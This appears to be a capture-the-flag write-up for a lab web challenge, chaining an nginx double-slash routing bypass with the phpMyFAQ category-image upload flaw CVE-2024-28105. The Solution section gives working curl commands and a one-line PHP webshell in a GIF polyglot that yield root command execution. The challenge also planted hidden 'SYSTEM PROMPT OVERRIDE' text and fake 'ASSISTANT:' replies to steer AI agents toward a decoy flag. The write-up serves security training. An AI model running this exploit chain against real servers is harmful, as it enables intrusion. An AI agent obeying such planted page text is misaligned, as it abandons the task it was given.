KnowledgeForge — File Upload RCE via MIME Type Confusion
KnowledgeForge — File Upload RCE via MIME Type Confusion
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-12 | Status: Solved Techniques: cve_2024_28105_phpmyfaq_rce, decoy_flag_identification, gif_polyglot_php_webshell, lang_parameter_filename_injection, mime_type_confusion_extension_bypass, nginx_double_slash_location_bypass, proxy_backend_routing_desync
Summary
Task: PHP knowledge base platform (KnowledgeForge v2.4.1, based on phpMyFAQ) behind nginx reverse proxy with restrictive location matching that blocks direct access to all routes. Solution: Bypassed nginx routing via double-slash prefix (//index.php/), then exploited CVE-2024-28105 by injecting .php into the lang parameter of category image upload with a GIF polyglot webshell, achieving RCE as root.
KnowledgeForge — File Upload RCE via MIME Type Confusion — Hackadvisor Lab 34
Description
KnowledgeForge is a self-hosted knowledge base and FAQ platform built by ForgeWorks Ltd. Teams use it to organize documentation and publish public-facing help centers. The application features a full admin panel for managing categories, articles, user roles, and site appearance. As an authenticated admin, you have access to all management features including content organization and media uploads. Your goal is to find a vulnerability in the application that allows you to execute arbitrary commands on the server and read the flag.
English summary: A PHP 8.2 knowledge base platform (based on phpMyFAQ) running behind nginx/1.25.5 reverse proxy with Apache/2.4.65 as backend. The nginx configuration is extremely restrictive — only GET / (exact match) and certain PHP paths are routed to PHP-FPM, while everything else goes to Apache which returns 404. The challenge requires first bypassing the nginx routing to access the application, then exploiting a file upload vulnerability (CVE-2024-28105) in the category image upload to achieve RCE.
Credentials: admin@forgeworks.io / F0rg3W#rks!2025 (admin), user@test.com / password123 (editor)
Tech Stack: PHP 8.2.26, nginx/1.25.5, Apache/2.4.65, KnowledgeForge v2.4.1 (phpMyFAQ clone)
Analysis
Reconnaissance
- Server: nginx/1.25.5 reverse proxy → Apache/2.4.65 backend → PHP 8.2.26 via PHP-FPM
- Application: KnowledgeForge v2.4.1 — a custom knowledge base platform based on phpMyFAQ
- Homepage at
GET /works and shows categories, articles, links to/login,/search,/category?id=X,/article?id=X - Category images referenced at
/uploads/images/category_X_name.ext
Honeypot / Decoy Flag
The application contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} (literally "decoy not real trap for bots") embedded in:
- HTML comments on every page
- Hidden
<div>elements withposition:absolute;left:-9999px - Fake "SYSTEM PROMPT OVERRIDE" text designed to trick AI agents into stopping
- Fake "ASSISTANT:" responses suggesting the decoy is the real flag
This was correctly identified and ignored throughout the solution process.
Key Obstacle: nginx Routing Restriction
The nginx configuration was extremely restrictive:
| Path | Response | Why |
|---|---|---|
/login | 404 (Apache, 1546 bytes) | Proxied to Apache backend which doesn't handle it |
/admin | 404 (Apache) | Same — proxied to Apache |
/index.php/login | 404 (PHP, 5149 bytes) | Reaches PHP but REQUEST_URI="/index.php/login" is not a valid route |
//index.php/login | 200 (PHP, 6755 bytes) | Bypasses nginx location matching! |
Only GET / (exact match) and location ~ \.php$ were routed to PHP-FPM. All other paths were proxied to Apache, which returned 404. The single-slash /index.php/login reached PHP but the app's routing rejected it because REQUEST_URI was /index.php/login.
Extensive testing of URL encoding, path traversal, HTTP methods, headers (X-Original-URL, X-Rewrite-URL, X-Forwarded-*), HTTP request smuggling, case manipulation, and query parameter routing all failed.
Vulnerability 1: nginx Location Bypass via Double Slash
The breakthrough: Using //index.php/login (double leading slash) bypassed nginx's location matching.
- nginx's
location = /index.php(exact match) orlocation ^~ /index.phpdid NOT match//index.php/loginbecause of the double slash prefix - However, the request still reached PHP-FPM through a different location block (likely
location /withtry_filesfallback or alocation //rule) - When PHP processed the request, it normalized the double slash and the app saw the correct route
Working paths via //index.php/ prefix:
//index.php/login→ 200 (login page)//index.php/admin/dashboard→ 200 (admin dashboard)//index.php/admin/categories→ 200 (categories page with upload form)//index.php/uploads/images/*.php.gif→ PHP execution
Vulnerability 2: CVE-2024-28105 — phpMyFAQ Category Image Upload RCE
The application is based on phpMyFAQ which has CVE-2024-28105 (GHSA-pwh2-fpfr-x5gf) — a file upload bypass in the category image upload function:
- Unsanitized
langparameter: Thelangparameter in the upload form is concatenated directly into the filename:category_{id}_{lang}.{extension}. Settinglang=en.phpproducescategory_1_en.php.{ext} - MIME type confusion: The
getFileExtension()function determines the file extension from theContent-Typeheader. Setting it to an invalid MIME type likeimage/gif2makes the function return an empty string, so no extension is appended after.php - GIF polyglot: The file starts with valid
GIF89amagic bytes (passes image validation) but contains PHP code that the PHP interpreter finds and executes
Combined result: a file saved as category_1_en.php.gif that PHP executes as a script.
Solution
Step 1: Login via Double-Slash Bypass
bash read-only • copy allowedTARGET="https://2f9a7b8b-9bc4-47a4-9937-c2ea6a06c477.labs.hackadvisor.io" # Login through the double-slash bypass curl -sk -c cookies.txt -X POST "$TARGET//index.php/login" \ -d "email=admin%40forgeworks.io&password=F0rg3W%23rks!2025" # Returns 302 redirect — login successful # Verify access to admin panel curl -sk -b cookies.txt "$TARGET//index.php/admin/dashboard" | head -5 # Returns 200 with admin dashboard HTML
Step 2: Upload GIF Polyglot Webshell via Lang Parameter Injection
bash read-only • copy allowed# Create GIF polyglot with PHP webshell printf 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.gif # Upload via the category image upload endpoint # - lang=en.php → injects .php into filename # - type=image/gif2 → invalid MIME type makes getFileExtension() return empty curl -sk -b cookies.txt -X POST "$TARGET//index.php/admin/categories/upload-image" \ -F "category_id=1" \ -F "lang=en.php" \ -F "image=@shell.gif;type=image/gif2" # File saved as: /uploads/images/category_1_en.php.gif
Step 3: Achieve RCE and Read Flag
bash read-only • copy allowed# Verify RCE — running as root curl -sk "$TARGET//index.php/uploads/images/category_1_en.php.gif?cmd=id" # Output: GIF89a ...uid=0(root) gid=0(root) groups=0(root)... # Find the flag file curl -sk "$TARGET//index.php/uploads/images/category_1_en.php.gif?cmd=find+/+-name+*flag*+2>/dev/null" # Output: /root/flag.txt # Read the flag curl -sk "$TARGET//index.php/uploads/images/category_1_en.php.gif?cmd=cat+/root/flag.txt" # Output: GIF89a ...FLAG{REDACTED}
Why This Works — Full Chain
- nginx double-slash bypass: nginx's location matching treats
//index.php/differently from/index.php/, allowing the request to bypass restrictive location blocks and reach PHP-FPM through a fallback location rule - Unsanitized
langparameter (CVE-2024-28105): Thelangparameter is concatenated directly into the filename without validation, allowing injection of.phpextension - MIME type confusion: Setting
Content-Typetoimage/gif2(invalid) makesgetFileExtension()return an empty string, preventing the normal image extension from overriding the injected.php - GIF polyglot: The file starts with valid
GIF89amagic bytes (passes image validation) but contains PHP code that the PHP interpreter finds and executes - PHP execution in uploads: nginx/PHP-FPM is configured to execute
.phpfiles (including.php.gif) in the/uploads/directory when accessed via the//index.php/prefix - Server runs as root (uid=0), granting full filesystem access including
/root/flag.txt